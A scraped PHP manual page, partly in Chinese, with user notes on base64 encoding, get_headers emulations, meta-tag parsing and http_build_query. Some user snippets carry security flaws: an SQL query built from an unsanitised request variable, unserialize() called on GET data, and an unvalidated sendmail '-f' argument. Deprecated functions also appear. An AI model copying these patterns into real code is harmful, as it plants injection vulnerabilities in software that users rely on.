$message .= "$thisfile";
$message .= '"

';
$message .= "$encoded";
$message .= '

------=_NextPart_001_0011_1234ABCD.4321FDAC--

';

// now send the email
mail($email, $subject, $message, $headers, "-f$from");

?>
diexmax at rediffmail dot com
02-Dec-2004 04:18
This is $headers of codigo below,  I thank to  Mr. Hugo, for informing to me of the imperfection!

$headers .= "From: example@example\n";
$headers .= "MIME-version: 1.0\n";
$headers .= "Content-type: multipart/mixed; ";
$headers .= "boundary=\"Message-Boundary\"\n";
$headers .= "Content-transfer-encoding: 7BIT\n";
$headers .= "X-attachments: $arquivo";

To Brazilians:

Este  o $headers do codigo abaixo, eu agradeo Sr. Hugo, pela informao do erro!!

Thanks Mr. Hugo,
Obrigado Sr. Hugo,

David Monroe
diexmax@rediffmail.com
mightymrj at hotmail dot com
29-Oct-2004 01:35
Problem: mime attachments sending as blank or almost completely blank documents (all data is lost)

Explanation: After a couple days of trying to mime pdf attachments without losing all data, I finally came across this function in some obsolete obscure post:

set_magic_quotes_runtime()

This is set to on by default in the machine, and it causes fread() and/or base64_encode() (both used in most mime examples I've seen) to read or encrypt binary without slashes for special characters.  This causes sent files to process incorrectly, breaking, thus truncating most of the data in the file.

Fix: pass 0 to this function and it will do a one time turn off while your code executes.

example:
<?php
   set_magic_quotes_runtime(0);
?>

This can also been turned off in the php.ini file, but I'm not sure what uses that setting or what the consequences might be.

info:
   http://us2.php.net/manual/en/function.set-magic-quotes-runtime.php
juha at kuhazor dot idlegames dot com
22-Jun-2004 11:29
If you use base64encoded strings as cookie names, make sure you remove '=' characters. At least Internet Explorer refuses cookie names containing '=' characters or urlencoded cookie names containing %xx character replacements. Use the function below to turn base64 encoded strings to bare alphabets (get rid of / and + characters as well)

<?php
function base64clean($base64string)
{
     $base64string = str_replace(array('=','+','/'),'',$base64string);

     return $base64string;
}
?>
Siu from Hong Kong
20-Nov-2003 03:17
As someone suggested above:

using base64_encode() to encode image data and finally output to browser using "data" scheme of IMG src:

<?
// ...
echo '<img src="data:image/png;base64,'.$encoded.' ">';
?>

Netscape browser supports this... However, Windows' Internet Explorer does not.

To embed binary contents in ascii text based html file for IE, you need use MIME multipart.
sb
30-Aug-2003 06:33
Re the message on 10-May-2003 04:02

You'll want to call urlencode on the base_64 encoded data before putting it into a GET.  IIUC, base 64 output includes the plus and the slash, both of which will be mungered by browsers.
teddy at mycyberclassroom dot com
29-May-2003 12:21
if you want to insert the base64 encoded image in your html <img src> you need to write 'data:datatype;base64,encodeddata' . For example here's a way to embed an PNG image data:

<?
//get the base64 encoded image
$handle = fopen($tempfile,'rb');
$file_content = fread($handle,filesize($tempfile));
fclose($handle);
$encoded = chunk_split(base64_encode($file_content));

//then echo to browser as:

echo '<img src="data:image/png;base64,'.$encoded.' ">';
?>
Richard Fairthorne netwiz101 at hotmail dot com
23-May-2003 07:47
I have come up with an interesting use for the base64 features. Code obfuscation! Here's a working example you can use if you want to protect your source code from greedy clients who will rip out your copyright notices or modify the code for their own use without paying you:

http://richard.fairthorne.is-a-geek.com/utils_obfuscate.php

This page uses a combination of Zlib and base64_encode/decode features to obfuscate and compress web pages which can be displayed on any php enabled webserver with Zlib.

It does not use any variables or disk storage, and doesn't affect the "state" of your php program, so you can also use it to compress function libraries, configuration files, or whatever you wish.

Enjoy!
Calvin[at] polbox [at] com
14-May-2003 05:34
If you want attach a binary file into mail, pay attention to use mode with "B" flag into fopen function (This is useful only on systems which differentiate between binary and text files, i.e. Windows) Include the 'b' flag in order to make your scripts more portable.

<?php
$handle = fopen($source_file,'rb');
$file_content = fread($handle,filesize($source_file));
fclose($handle);
$encoded = chunk_split(base64_encode($file_content));
?>
koos_nt_hulskamp at hotmail dot com
10-May-2003 08:02
I had to send a php array trough a FORM in HTML, and came up with this solution:

<?
$array[] = array("foo", "bar");
$coded_array = base64_encode(serialize($array));
?>

now u can put the $coded_array into an input field or even a GET link ex:

<a href="some_script.php?coded_array=<?=$coded_array;?>">script link</a>

after receiving it in the script you send it to, do the following:

<?
$coded_array = $_GET["coded_array"]    // or $_POST off course
$array = unserialize(base64_decode($coded_array);
?>
guy at bhaktiandvedanta dot com
02-Oct-2002 08:00
You can use base64_encode to transfer image file into string text and then display them. I used this to store my images in a database and display them form there. First I open the files using fread, encoded the result, and stored that result in the database. Useful for creating random images.

image.php:

<?

header(" Content-Type: image/jpeg");
header(" Content-Disposition: inline");
$sql = "SELECT data FROM image where name='".$img."'";
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
$image = $row[0];
echo base64_decode($image);

?>

And in the html file you put:

<img src="image.php?img=test3"  border="0" alt="">

Guy Laor
add a note add a note

后退 | 起点 | 前进
base64_decode | 上一级 | get_headers


get_headers

(PHP 5)

get_headers -- Fetches all the headers sent by the server in response to a HTTP request

Description

array get_headers ( string url [, int format] )

get_headers() returns an array with the headers sent by the server in response to a HTTP request. Returns FALSE on failure and an error of level E_WARNING will be issued.

If the optional format parameter is set to 1, get_headers() parses the response and sets the array's keys.

例子 1. get_headers() example

<?php
$url = 'http://www.example.com';

print_r(get_headers($url));

print_r(get_headers($url, 1));
?>

上例的输出类似于：

Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Sat, 29 May 2004 12:28:13 GMT
    [2] => Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
    [4] => ETag: "3f80f-1b6-3e1cb03b"
    [5] => Accept-Ranges: bytes
    [6] => Content-Length: 438
    [7] => Connection: close
    [8] => Content-Type: text/html
)

Array
(
    [0] => HTTP/1.1 200 OK
    [Date] => Sat, 29 May 2004 12:28:14 GMT
    [Server] => Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [Last-Modified] => Wed, 08 Jan 2003 23:11:55 GMT
    [ETag] => "3f80f-1b6-3e1cb03b"
    [Accept-Ranges] => bytes
    [Content-Length] => 438
    [Connection] => close
    [Content-Type] => text/html
)

add a note add a note User Contributed Notes
10-May-2006 07:10
If you want to get headers that current PHP process is going to send back to browser, see headers_list()
rsyring+phppost at gmail dot com
07-Apr-2006 06:08
Once again another update.  The improvements are:

HTTPS support (make sure you have SSL support enabled -- PHP5 is as simple as uncommenting extension=php_openssl.dll in php.ini)

Fixed bug with exploding the header on ':'.  This caused the location header to be broken and just return 'http'.

Set stream timeout in addition to socket timeout.

<?php

function my_get_headers($url ) {

       $url_info=parse_url($url);
       if (isset($url_info['scheme']) && $url_info['scheme'] == 'https') {
           $port = 443;
           @$fp=fsockopen('ssl://'.$url_info['host'], $port, $errno, $errstr, 10);
       } else {
           $port = isset($url_info['port']) ? $url_info['port'] : 80;
           @$fp=fsockopen($url_info['host'], $port, $errno, $errstr, 10);
       }
       if($fp) {
           stream_set_timeout($fp, 10);
           $head = "HEAD ".@$url_info['path']."?".@$url_info['query'];
           $head .= " HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
           fputs($fp, $head);
           while(!feof($fp)) {
               if($header=trim(fgets($fp, 1024))) {
                       $sc_pos = strpos( $header, ':' );
                       if( $sc_pos === false ) {
                           $headers['status'] = $header;
                       } else {
                           $label = substr( $header, 0, $sc_pos );
                           $value = substr( $header, $sc_pos+1 );
                           $headers[strtolower($label)] = trim($value);
                       }
               }
           }
           return $headers;
       }
       else {
           return false;
       }
   }

?>
denilson at vialink dot com dot br
31-Oct-2005 05:15
This is a modified version of code from "stuart at sixletterwords dot com", at 14-Sep-2005 04:52. This version tries to emulate get_headers() function at PHP4. I think it works fairly well, and is simple. It is not the best emulation available, but it works.

Features:
- supports (and requires) full URLs.
- supports changing of default port in URL.
- stops downloading from socket as soon as end-of-headers is detected.

Limitations:
- only gets the root URL (see line with "GET / HTTP/1.1").
- don't support HTTPS (nor the default HTTPS port).

<?php
if(!function_exists('get_headers'))
{
   function get_headers($url,$format=0)
   {
       $url=parse_url($url);
       $end = "\r\n\r\n";
       $fp = fsockopen($url['host'], (empty($url['port'])?80:$url['port']), $errno, $errstr, 30);
       if ($fp)
       {
           $out  = "GET / HTTP/1.1\r\n";
           $out .= "Host: ".$url['host']."\r\n";
           $out .= "Connection: Close\r\n\r\n";
           $var  = '';
           fwrite($fp, $out);
           while (!feof($fp))
           {
               $var.=fgets($fp, 1280);
               if(strpos($var,$end))
                   break;
           }
           fclose($fp);

           $var=preg_replace("/\r\n\r\n.*\$/",'',$var);
           $var=explode("\r\n",$var);
           if($format)
           {
               foreach($var as $i)
               {
                   if(preg_match('/^([a-zA-Z -]+): +(.*)$/',$i,$parts))
                       $v[$parts[1]]=$parts[2];
               }
               return $v;
           }
           else
               return $var;
       }
   }
}
?>
tylerxxdurden at web dot de
25-Sep-2005 02:54
my version
cleans the input URL a little bit
(you should be able to put in almost every shit, and it should still work)
Should work for:
http://test.de
http://test.de/
www.test.de
http://test.de/
http://test.de/test.html
http://test.de/test.html?testme
...

not nice, but seems to work for me

<?
function get_headers2($url,$format=0) {
       $url_info=parse_url($url);
       $port = isset($url_info['port']) ? $url_info['port'] : 80;
       $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
       if($fp) {
           if(!$url_info['path']){
                         $url_info['path'] = "/";
                     }
                     if($url_info['path'] && !$url_info['host']){
                       $url_info['host'] = $url_info['path'];
                       $url_info['path'] = "/";
                     }
                     if( $url_info['host'][(strlen($url_info['host'])-1)] == "/" ){
                       $url_info['host'][(strlen($url_info['host'])-1)] = "";
                     }
                     if(!$url_array[scheme]){
                         $url_array[scheme] = "http"; //we always use http links
                       }
                     $head = "HEAD ".@$url_info['path'];
                     if( $url_info['query'] ){
                         $head .= "?".@$url_info['query'];
                       }
                       print_r($url_info);
           $head .= " HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
           echo $head;
                     fputs($fp, $head);
           while(!feof($fp)) {
               if($header=trim(fgets($fp, 1024))) {
                   if($format == 1) {
                       $h2 = explode(':',$header);
                       // the first element is the http header type, such as HTTP/1.1 200 OK,
                       // it doesn't have a separate name, so we have to check for it.
                       if($h2[0] == $header) {
                           $headers['status'] = $header;
                       }
                       else {
                           $headers[strtolower($h2[0])] = trim($h2[1]);
                       }
                   }
                   else {
                       $headers[] = $header;
                   }
               }
           }
           return $headers;
       }
       else {
           return false;
       }
   }
?>
stuart at sixletterwords dot com
15-Sep-2005 03:52
hey, i came across this afew weeks ago and used the function in an app for recording info about domains that my company owns, and found that the status this returns was wrong most of the time (400 bad request or void for sites that were clearly online). then looking into it i noticed the problem was that it wasn't able to get the correct info about sites with redirections. but thats not the full problem because everything on my server was returning the wrong status too. i searched around on php.net for other info and found that fsockopen's example worked better and only needed some tweeking.

heres the function i put together from it and a small change.

<?
if(!function_exists('get_headers')) {
   function get_headers($url,$format=0,$httpn=0){
   $fp = fsockopen($url, 80, $errno, $errstr, 30);
   if ($fp) {
       $out = "GET / HTTP/1.1\r\n";
       $out .= "Host: $url\r\n";
       $out .= "Connection: Close\r\n\r\n";
       fwrite($fp, $out);
       while (!feof($fp)) {
           $var.=fgets($fp, 1280);
       }

   $var=explode("<",$var);
   $var=$var[0];
   $var=explode("\n",$var);
   fclose($fp);
   return $var;
   }
   }
}
?>

this returns an array of the header (only problem being that if the site doesn't have correct html it'll pull in some content too).

hope this'll help someone else.
sey at sey dot prometheus-designs dot net
28-Jul-2005 07:10
The replacement updated get_headers function by aeontech at gmail dot com improperly formats dates when $format = 1.

Replace:
<?
else {
$headers[strtolower($h2[0])] = trim($h2[1]);
}
?>

With:
<?
else {
$foo = implode( ':', $h2 );
$foo = preg_replace( '/[a-zA-Z- ]*: /', '', $foo );
$headers[strtolower($h2[0])] = trim( $foo );
}
drfickle2 at yahoo dot com
27-Jul-2005 08:01
aeontech, this the below change adds support for SSL connections. Thanks for the code!

       if (isset($url_info['scheme']) && $url_info['scheme'] == 'https') {
           $port = 443;
           $fp=fsockopen('ssl://'.$url_info['host'], $port, $errno, $errstr, 30);
       } else {
           $port = isset($url_info['port']) ? $url_info['port'] : 80;
           $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
       }
16-Jul-2005 04:37
For anyone reading the previous comments, here is code that takes into account all the previous suggestions and includes a bugfix, too.

This code basically provides the "get_headers" function even on systems that are not running PHP 5.0.  It uses strtolower() on the keys, as suggested.  It uses the $h2 array instead of the $key, as suggested.  It removes a line about unsetting the $key -- no reason to unset something which is no longer used.  And I've changed the status header to be named "status" (instead of "0") in the array.  Note that if more than one header is returned without a label, they'll be stuck in "status" -- but I think status is the only header that comes back without a label, so it works for me.  So, first the code, then a sample of the usage:

<?php
if(!function_exists('get_headers')) {
   /**
   * @return array
   * @param string $url
   * @param int $format
   * @desc Fetches all the headers
   * @author cpurruc fh-landshut de
   * @modified by dotpointer
   * @modified by aeontech
   */
   function get_headers($url,$format=0) {
       $url_info=parse_url($url);
       $port = isset($url_info['port']) ? $url_info['port'] : 80;
       $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
       if($fp) {
           $head = "HEAD ".@$url_info['path']."?".@$url_info['query'];
           $head .= " HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
           fputs($fp, $head);
           while(!feof($fp)) {
               if($header=trim(fgets($fp, 1024))) {
                   if($format == 1) {
                       $h2 = explode(':',$header);
                       // the first element is the http header type, such as HTTP/1.1 200 OK,
                       // it doesn't have a separate name, so we have to check for it.
                       if($h2[0] == $header) {
                           $headers['status'] = $header;
                       }
                       else {
                           $headers[strtolower($h2[0])] = trim($h2[1]);
                       }
                   }
                   else {
                       $headers[] = $header;
                   }
               }
           }
           return $headers;
       }
       else {
           return false;
       }
   }
}
?>

OK?  Here's the usage:

<?php
$response = get_headers('http://www.example.com/', 1);
if (!$response) {
   echo 'Unable to initiate connection.';
}
else {
   print_r($response);
}
?>
Chortos-2
03-Jun-2005 05:44
aeontech, I'd edit your function a little... How about replacing this:

<?
                       $key = array_shift(explode(':',$header));
                       // the first element is the http header type, such as HTTP 200 OK,
                       // it doesn't have a separate name, so we have to check for it.
                       if($key == $header)
                       {
                           $headers[] = $header;
                       }
                       else
                       {
                           $headers[$key]=substr($header,strlen($key)+2);
                       }
?>

with this:

<?
                       $h2 = explode(':',$header);
                       // the first element is the http header type, such as HTTP/1.1 200 OK,
                       // it doesn't have a separate name, so we have to check for it.
                       if($h2[0] == $header)
                       {
                           $headers[] = $header;
                       }
                       else
                       {
                           $headers[ $h2[0] ] = trim($h2[1]);
                       }
?>

I think it looks a bit nicer :)
david at nothisbit dot futuresbright dot com
05-Apr-2005 07:03
After discovering that some webservers reply with "Content-Type" and others with "Content-type" I modified the function below to use strtolower($key) to make for easy checking against these case differences.
aeontech at gmail dot com
24-Dec-2004 09:20
In response to dotpointer's modification of Jamaz' solution...

Here is a small modification of your function, this adds the emulation of the optional $format parameter.

<?php
if(!function_exists('get_headers')) {

   /**
   * @return array
   * @param string $url
   * @param int $format
   * @desc Fetches all the headers
   * @author cpurruc fh-landshut de
   * @modified by dotpointer
   * @modified by aeontech
   */
   function get_headers($url,$format=0)
   {
       $url_info=parse_url($url);
       $port = isset($url_info['port']) ? $url_info['port'] : 80;
       $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);

       if($fp)
       {
           $head = "HEAD ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\nHost: ".@$url_info['host']."\r\n\r\n";
           fputs($fp, $head);
           while(!feof($fp))
           {
               if($header=trim(fgets($fp, 1024)))
               {
                   if($format == 1)
                   {
                       $key = array_shift(explode(':',$header));
                       // the first element is the http header type, such as HTTP 200 OK,
                       // it doesn't have a separate name, so we have to check for it.
                       if($key == $header)
                       {
                           $headers[] = $header;
                       }
                       else
                       {
                           $headers[$key]=substr($header,strlen($key)+2);
                       }
                       unset($key);
                   }
                   else
                   {
                       $headers[] = $header;
                   }
               }
           }
           return $headers;
       }
       else
       {
           return false;
       }
   }
}
?>
add a note add a note

后退 | 起点 | 前进
base64_encode | 上一级 | get_meta_tags


get_meta_tags

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

get_meta_tags -- 从一个文件中提取所有的 meta 标签 content 属性，返回一个数组

描述

array get_meta_tags ( string filename [, int use_include_path] )

打开 filename 逐行解析文件中的 <meta> 标签。此参数可以是本地文件也可以是一个 URL。解析工作将在 </head> 处停止。

将 use_include_path 设置为 1 将促使 PHP 尝试按照 include_path 标准包含路径中的每个指向去打开文件。这只用于本地文件，不适用于 URL。

例子 1. get_meta_tags() 解析些什么

<meta name="author" content="name">
<meta name="keywords" content="php documentation">
<meta name="DESCRIPTION" content="a php manual">
<meta name="geo.position" content="49.33;-86.59">
</head> <!-- 解析工作在此处停止 -->
（注意回车换行 － PHP 使用一个本地函数来解析输入，所以 Mac 上的文件将不能在 Unix 上正常工作）。

返回的关联数组以属性 name 的值作为键，属性 content 的值作为值，所以你可以很容易地使用标准数组函数遍历此关联数组或访问某个值。属性 name 中的特殊字符将使用‘_’替换，而其它字符则转换成小写。如果有两个 meta 标签拥有相同的 name，则只返回最后出现的那一个。

例子 2. get_meta_tags() 的返回值

<?php
// 假设上边的标签是在 www.example.com 中
$tags = get_meta_tags('http://www.example.com/');

// 注意所有的键（key）均为小写，而键中的‘.’则转换成了‘_’。
print $tags['author'];       // name
print $tags['keywords'];     // php documentation
print $tags['description'];  // a php manual
print $tags['geo_position']; // 49.33;-86.59
?>

注: 从 PHP 4.0.5 开始，get_meta_tags() 支持没有使用引号括起来的 HTML 属性。

参见 htmlentities() 和 urlencode()。

add a note add a note User Contributed Notes
jimmyxx at gmail dot com
21-Sep-2005 03:37
I used this as part of my mini php search based search engine - it really slowed the whole thing down. I wrote this function to read HTML (just fetch the file or use something like snoopy) and extract the meta data via a simple regex, works a treat and made my crawler much faster:

<?php

function get_meta_data($html) {

   preg_match_all(
   "|<meta[^>]+name=\\"([^"]*)\\"[^>]+content="([^\\"]*)"[^>]+>|i",  $html, $out,PREG_PATTERN_ORDER);

   for ($i=0;$i < count($out[1]);$i++) {
       // loop through the meta data - add your own tags here if you need
       if (strtolower($out[1][$i]) == "keywords") $meta['keywords'] = $out[2][$i];
       if (strtolower($out[1][$i]) == "description") $meta['description'] = $out[2][$i];
   }

return $meta;
}

?>
mariano at cricava dot com
13-Sep-2005 08:18
Based on Michael Knapp's code, and adding some regex, here's a function that will get all meta tags and the title based on a URL. If there's an error, it will return false. Using the function getUrlContents(), also included, it takes care of META REFRESH re-directions, following up to the specified number of redirections. Please note that the regular expressions included were split into strings because php.net was complaining about the line being to long ;)

<?php
function getUrlData($url)
{
   $result = false;

   $contents = getUrlContents($url);

   if (isset($contents) && is_string($contents))
   {
       $title = null;
       $metaTags = null;

       preg_match('/<title>([^>]*)<\/title>/si', $contents, $match );

       if (isset($match) && is_array($match) && count($match) > 0)
       {
           $title = strip_tags($match[1]);
       }

       preg_match_all('/<[\s]*meta[\s]*name="?' . '([^>"]*)"?[\s]*' . 'content="?([^>"]*)"?[\s]*[\/]?[\s]*>/si', $contents, $match);

       if (isset($match) && is_array($match) && count($match) == 3)
       {
           $originals = $match[0];
           $names = $match[1];
           $values = $match[2];

           if (count($originals) == count($names) && count($names) == count($values))
           {
               $metaTags = array();

               for ($i=0, $limiti=count($names); $i < $limiti; $i++)
               {
                   $metaTags[$names[$i]] = array (
                       'html' => htmlentities($originals[$i]),
                       'value' => $values[$i]
                   );
               }
           }
       }

       $result = array (
           'title' => $title,
           'metaTags' => $metaTags
       );
   }

   return $result;
}

function getUrlContents($url, $maximumRedirections = null, $currentRedirection = 0)
{
   $result = false;

   $contents = @file_get_contents($url);

   // Check if we need to go somewhere else

   if (isset($contents) && is_string($contents))
   {
       preg_match_all('/<[\s]*meta[\s]*http-equiv="?REFRESH"?' . '[\s]*content="?[0-9]*;[\s]*URL[\s]*=[\s]*([^>"]*)"?' . '[\s]*[\/]?[\s]*>/si', $contents, $match);

       if (isset($match) && is_array($match) && count($match) == 2 && count($match[1]) == 1)
       {
           if (!isset($maximumRedirections) || $currentRedirection < $maximumRedirections)
           {
               return getUrlContents($match[1][0], $maximumRedirections, ++$currentRedirection);
           }

           $result = false;
       }
       else
       {
           $result = $contents;
       }
   }

   return $contents;
}
?>

Here's an example of its usage. Check that the included URL has a META REFRESH redirection:

<?php
$result = getUrlData('http://www.marianoiglesias.com.ar/');

echo '<pre>'; print_r($result); echo '</pre>';

?>

For the above code the output would be:

<?php
Array
(
   [title] => Mariano Iglesias: El Eternauta
   [metaTags] => Array
       (
           [description] => Array
               (
                   [html] => <meta name="description" content="Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well." />
                   [value] => Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well.
               )

           [DC.title] => Array
               (
                   [html] => <meta name="DC.title" content="Mariano Iglesias - Weblog" />
                   [value] => Mariano Iglesias - Weblog
               )

           [ICBM] => Array
               (
                   [html] => <meta name="ICBM" content="-34.6017, -58.3956" />
                   [value] => -34.6017, -58.3956
               )

           [geo.position] => Array
               (
                   [html] => <meta name="geo.position" content="-34.6017;-58.3956" />
                   [value] => -34.6017;-58.3956
               )

           [geo.region] => Array
               (
                   [html] => <meta name="geo.region" content="AR-BA">
                   [value] => AR-BA
               )

           [geo.placename] => Array
               (
                   [html] => <meta name="geo.placename" content="Buenos Aires">
                   [value] => Buenos Aires
               )

       )

)
?>
Michael Knapp
12-Mar-2005 04:47
Tim's code is good (thanks Tim), except it won't work very well if the tag is part of a long non-breaking string.

E.g. try getting the title from Google Maps (http://www.google.com/maps).

A better solution is:

<?php
$title = "";

if ($fp = @fopen( $_POST['url'], 'r' )) {

   $cont = "";

   // read the contents
   while( !feof( $fp ) ) {
       $buf = trim(fgets( $fp, 4096 )) ;
       $cont .= $buf;
   }

   // get tag contents
   @preg_match( "/<title>([a-z 0-9]*)<\/title>/si", $cont, $match );

   // tag contents
   $title = strip_tags(@$match[ 1 ]);
}

?>

Note the strip_tags. Another thing to be careful of is to check for ", <, and >. You will need to strip those out if you are posting the output to a form.

Also, it is probably best to use the /i modifier, because some people might code <TITLE> etc...
rehfeld
06-Feb-2005 10:45
in response to
jp at webgraphe dot com

this function grabs meta tags, not http headers

if you need the headers

<?php

$fp = fopen('http://example.org/somepage.html', 'r');

// the variable $http_response_header magically appears
print_r($http_response_header);

// or
$meta_data = stream_get_meta_data($fp);
print_r($meta_data);

?>
tim dot bennett at haveaniceplay dot com
01-Feb-2005 11:43
If you want to get the contents of tags other than meta you can use:

<?php

$page = "http://www.mysite.com/apage.php";

   // tags
   $start = '<atag>';
   $end = '<\/atag>';

   // open the file
   $fp = fopen( $page, 'r' );

   $cont = "";

   // read the contents
   while( !feof( $fp ) ) {
       $buf = trim( fgets( $fp, 4096 ) );
       $cont .= $buf;
   }

   // get tag contents
   preg_match( "/$start(.*)$end/s", $cont, $match );

   // tag contents
   $contents = $match[ 1 ];

?>
jp at webgraphe dot com
13-Dec-2003 09:37
If the URL is doing a redirection using the headers (like you would do with PHP function header("Location: URL");), the page has no content (in general). It appears get_meta_tags() doesn't catch that kind of redirection (like cURL would do) and it lead me to a timeout of my script.

I experienced this in a spider I wrote in order to feed my database of all available pages on my site and one link was linking to a page that simply has the following code:

<?php
  header("Location: sections.php?section=home");
  exit();
?>

That made my script hang for a moment and apparently, get_meta_tags() wasn't even able to return me an error.

JP.
bill.neumann at hatworld.com
13-Mar-2003 11:50
The get_meta_tags function does not seem to be able to grab values if there are spaces between the attribute, the equal sign, and the opening quote marks.
21-Dec-2001 03:01
Tested PHP 4.0.6<br>
get_meta_tags() seems to look only in the beginning of a file, meaning that e.g. if there is a lot of PHP code before the HTML header it will return nothing ...<br>
Tested using get_meta_tags() on local files with about 9000 characters of PHP code before HTML HEADER.<br>
Workaround: if possible move code after header or if not: include a file.
Ben dot Davis at furman dot edu
31-Jul-2001 06:29
I have found that for large searches, get_meta_tags is very slow.  I created a large search engine for a website that couldnt use a database and I first tried pulling out the meta tags.
I have found that it is actually much faster to use eregi to pull out the meta tags.  This code below pulls out the description:

if (eregi ("<meta name=\"description\" content=[^>]*", $contents, $descresult))
                               {
                                   $description = explode("<meta name=\"description\" content=", $descresult[0]);
                                   echo "<font face=\"Arial\" size=2>$description[1]</font>";

                               }
richard at pifmagazine dot com
22-Apr-2000 08:17
Something that is not mentioned above and should be : When using get_meta_tags on a remote PHP page the page will be parsed before the meta tags are returned - so you can capture meta tags generated dynamically (by PHP??) on the remote end.
<p>
This DOES NOT work the same way when getting meta tags on local file systems.  Local files are not parsed through the web server before returning to get_meta_tags().  If the META tag is hard-coded into the page, you'll be fine - but if it dynamically generated you will not be able to capture it unless you use the full URL when calling your local files.
richard at pifmagazine dot com
22-Apr-2000 08:00
An Important Note about META tags and this function :  if your META tag contains newline "\n"  characters, get_meta_tags() will return a NULL value for that name property.  Removing the newlines from the source META tag corrects the problem.
add a note add a note

后退 | 起点 | 前进
get_headers | 上一级 | http_build_query


http_build_query

(PHP 5)

http_build_query -- 生成 url-encoded 之后的请求字符串

描述

string http_build_query ( array formdata [, string numeric_prefix] )

使用给出的关联（或下标）数组生成一个 url-encoded 请求字符串。参数 formdata 可以是数组或包含属性的对象。一个 formdata 数组可以是简单的一维结构，也可以是由数组组成的数组（其依次可以包含其它数组）。如果在基础数组中使用了数字下标同时给出了 numeric_prefix 参数，此参数值将会作为基础数组中的数字下标元素的前缀。这是为了让 PHP 或其它 CGI 程序在稍后对数据进行解码时获取合法的变量名。

例子 1. http_build_query() 使用示例

<?php
$data = array('foo'=>'bar',
              'baz'=>'boom',
              'cow'=>'milk',
              'php'=>'hypertext processor');

echo http_build_query($data);
/* 输出：
      foo=bar&baz=boom&cow=milk&php=hypertext+processor
*/
?>

例子 2. http_build_query() 使用数字下标的元素

<?php
$data = array('foo', 'bar', 'baz', 'boom', 'cow' => 'milk', 'php' =>'hypertext processor');

echo http_build_query($data);
/* 输出：
      0=foo&1=bar&2=baz&3=boom&cow=milk&php=hypertext+processor
*/

echo http_build_query($data, 'myvar_');
/* 输出：
      myvar_0=foo&myvar_1=bar&myvar_2=baz&myvar_3=boom&cow=milk&php=hypertext+processor
*/
?>

例子 3. http_build_query() 使用复杂的数组

<?php
$data = array('user'=>array('name'=>'Bob Smith',
                            'age'=>47,
                            'sex'=>'M',
                            'dob'=>'5/12/1956'),
              'pastimes'=>array('golf', 'opera', 'poker', 'rap'),
              'children'=>array('bobby'=>array('age'=>12,
                                               'sex'=>'M'),
                                'sally'=>array('age'=>8,
                                               'sex'=>'F')),
              'CEO');

echo http_build_query($data, 'flags_');
/* 输出：（为了可读性对其进行了折行）
      user[name]=Bob+Smith&user[age]=47&user[sex]=M&user[dob]=5%1F12%1F1956&
      pastimes[0]=golf&pastimes[1]=opera&pastimes[2]=poker&pastimes[3]=rap&
      children[bobby][age]=12&children[bobby][sex]=M&children[sally][age]=8&
      children[sally][sex]=F&flags_0=CEO

   注意：只有基础数组中的数字下标元素“CEO”才获取了前缀，其它数字下标元素（如
   pastimes 下的元素）则不需要为了合法的变量名而加上前缀。
*/
?>

例子 4. http_build_query() 使用对象

<?php
class myClass {
  var $foo;
  var $baz;

  function myClass() {
    $this->foo = 'bar';
    $this->baz = 'boom';
  }
}

$data = new myClass();

echo http_build_query($data);
/* 输出：
      foo=bar&baz=boom
*/
?>

参见：parse_str()、parse_url()、urlencode() 和 array_walk()

add a note add a note User Contributed Notes
paulschneider at free dot fr
05-Apr-2006 02:14
using & as argument values separator produces invalid html; use &amp; instead
Colin Guthrie
08-Mar-2006 11:11
I am concerned about this function's generation of [ and ] in the variable names.

From what I can gather from http://www.faqs.org/rfcs/rfc3986.html (which I believe to be the most recent RFC on the matter), the use of square brackets is illegal here.

To be sure, always use the following:
str_replace(array('[',']'), array('%5B','%5D'), http_build_query($data));

I will also submit a bug, but thought it important to inform users.
Colin Guthrie
08-Mar-2006 10:25
@ xangelusx
You said that "It is actually illegal to set arg_separator.output to &amp; ("and amp ;") as every character is considered a seperator according to the documentation."

I don't think this is correct. arg_separator.input maybe, but not the output. How can PHP encode my URLs (that is what this setting is used for, e.g. on URL rewriting etc.) with more than one separator?  It doesn't make sence for that variable.

I have personally used &amp; as a separate for output for years in order to create valid XHTML output via PHP.

I long ago wrote a function to do this for me, but depending on where I use the output, I sometimes want &amp; and sometimes just a plain old & (think putting the value in a href="" versus using it in a Location: header). Unfortunatly, I can see no way to deprecate my function just yet, as this built in function is lacking that distinction (an optional argument would be perfect IMO)
xangelusx at hotmail dot com
26-Jan-2006 10:53
@ arjini:
  It is actually illegal to set arg_separator.output to &amp; ("and amp ;") as every character is considered a seperator according to the documentation. Hosts should only be using the single "&" (andpersand) character.

@ vlad:
  Good call checking the servers arg_separator.output setting, but note that it can contain several characters (see the default setting in php.ini). Instead, try this:

<?php
//Discover the servers preferred parameter delimiters. If empty, assume "&"
$Delims = ((ini_get("arg_separator.input") == "") ? "&" : ini_get("arg_separator.input"));
if (strlen($Delims) > 1) {
   $Delims = preg_split('//', $Delims, -1, PREG_SPLIT_NO_EMPTY);
} else {
   $Delims = array($Delims);
}
$separator = $Delims[0];
?>
Ilya Rudenko
10-Jan-2006 03:57
Params with null value do not present in result string.

<?
$arr = array('test' => null, 'test2' => 1);
echo http_build_query($arr);
?>

will produce:

test2=1
arjini
10-Oct-2005 11:35
Note that some hosts have the ini setting "arg_separator.output" set to &amp; ("and amp ;" in case this form encoded that) and some have it set to just a plain old ampersand. When running unit tests on a number of different hosts I kept getting inconsistent results and in some cases double encoded html entitiy errors inside my url class. I changed

$queryString = http_build_query($args);

to

$queryString = html_entity_decode(http_build_query($args));

(one could change the ini setting instead but some hosts don't allow that, so this is the only catch I all solution I found).
vlad_mustafin at ukr dot net
05-Oct-2005 08:03
